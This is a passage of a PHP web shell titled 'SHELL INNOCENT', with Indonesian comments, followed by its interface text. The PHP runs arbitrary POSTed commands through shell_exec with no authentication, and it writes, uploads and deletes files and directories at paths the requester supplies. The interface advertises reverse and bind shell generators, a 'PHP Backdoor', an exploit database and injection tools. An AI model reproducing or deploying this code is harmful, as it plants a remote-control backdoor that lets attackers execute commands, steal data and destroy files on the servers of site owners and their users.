0 ? round(disk_free_space('/') / 1024 / 1024 / 1024, 2) . ' GB' : 'Unknown';
$info['disk_total'] = disk_total_space('/') > 0 ? round(disk_total_space('/') / 1024 / 1024 / 1024, 2) . ' GB' : 'Unknown';
return $info;
}
// Fungsi mendapatkan direktori
function scanDirectory($path = '.') {
$items = [];
if (is_dir($path)) {
$files = scandir($path);
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$fullPath = $path . '/' . $file;
$items[] = [
'name' => $file,
'type' => is_dir($fullPath) ? 'dir' : 'file',
'size' => is_file($fullPath) ? filesize($fullPath) : 0,
'perms' => substr(sprintf('%o', fileperms($fullPath)), -4),
'modified' => date('Y-m-d H:i:s', filemtime($fullPath)),
'writable' => is_writable($fullPath),
'readable' => is_readable($fullPath)
];
}
}
}
return $items;
}
// Fungsi format ukuran file
function formatSize($bytes) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($bytes >= 1024 && $i < 4) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
// Handle actions
$action = $_GET['action'] ?? 'dashboard';
$current_dir = $_GET['dir'] ?? getcwd();
$message = '';
$message_type = '';
// Process actions
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['cmd'])) {
// Execute command
$cmd = $_POST['cmd'];
$output = shell_exec($cmd . ' 2>&1');
$message = "Command executed: " . $cmd;
$message_type = "success";
}
if (isset($_POST['new_file'])) {
// Create new file
$filename = $_POST['filename'];
$content = $_POST['content'];
if (file_put_contents($filename, $content)) {
$message = "File created: " . $filename;
$message_type = "success";
} else {
$message = "Failed to create file";
$message_type = "error";
}
}
if (isset($_POST['new_dir'])) {
// Create new directory
$dirname = $_POST['dirname'];
if (mkdir($dirname, 0755)) {
$message = "Directory created: " . $dirname;
$message_type = "success";
} else {
$message = "Failed to create directory";
$message_type = "error";
}
}
if (isset($_POST['upload'])) {
// Upload file
$target = $_POST['target'] ?? '.';
$file = $_FILES['file'];
if (move_uploaded_file($file['tmp_name'], $target . '/' . $file['name'])) {
$message = "File uploaded: " . $file['name'];
$message_type = "success";
} else {
$message = "Failed to upload file";
$message_type = "error";
}
}
}
// Handle file operations
if (isset($_GET['delete'])) {
$file = $_GET['delete'];
if (is_file($file)) {
unlink($file);
$message = "File deleted: " . $file;
$message_type = "success";
} elseif (is_dir($file)) {
rmdir($file);
$message = "Directory deleted: " . $file;
$message_type = "success";
}
}
$system_info = getSystemInfo();
$files = scanDirectory($current_dir);
?>
SHELL INNOCENT v
SERVER UPTIME
3d 14h
Last boot:
MEMORY USAGE
2.4 GB
of 8 GB total (30%)
| Operating System |
|
| Web Server |
|
| PHP Version |
|
| Server API |
|
| Safe Mode |
|
| Memory Limit |
|
| Max Execution Time |
seconds |
| Upload Max Filesize |
|
| Post Max Size |
|
| Allow URL Fopen |
|
| Allow URL Include |
|
| Display Errors |
|
| Current Directory |
|
| Script Path |
|
| Script Size |
|
INNOCENT@SHELL:~$
| NAME |
SIZE |
PERMS |
MODIFIED |
ACTIONS |
|
|
|
|
|
|
INNOCENT@SHELL:~$
Welcome to SHELL INNOCENT v
>
System initialized. Type 'help' for commands.
>
Current directory:
>
PORT SCANNER
NETWORK MAP
VULNERABILITY SCAN
TRAFFIC ANALYZER
EXPLOIT DATABASE
SHELL GENERATOR
SQL INJECTION
XSS TOOLS
| NAME |
TYPE |
PLATFORM |
RISK |
ACTION |
| Apache Struts2 RCE |
Remote Code Execution |
Linux/Windows |
CRITICAL |
|
| WordPress RCE |
Remote Code Execution |
Linux/Windows |
CRITICAL |
|
| PHP Backdoor |
Web Shell |
Cross Platform |
MEDIUM |
|
| MySQL Injection |
SQL Injection |
Database |
MEDIUM |
|
| XSS Payloads |
Cross Site Scripting |
Web |
LOW |
|
ENCODER
DECODER
HASH GENERATOR
COMPRESSION
SHELL GENERATOR
REVERSE SHELL
BIND SHELL
CUSTOM PAYLOAD
ENCRYPT
DECRYPT
KEY GENERATOR
SSL TOOLS
GENERAL
THEME
SECURITY
EXTENSIONS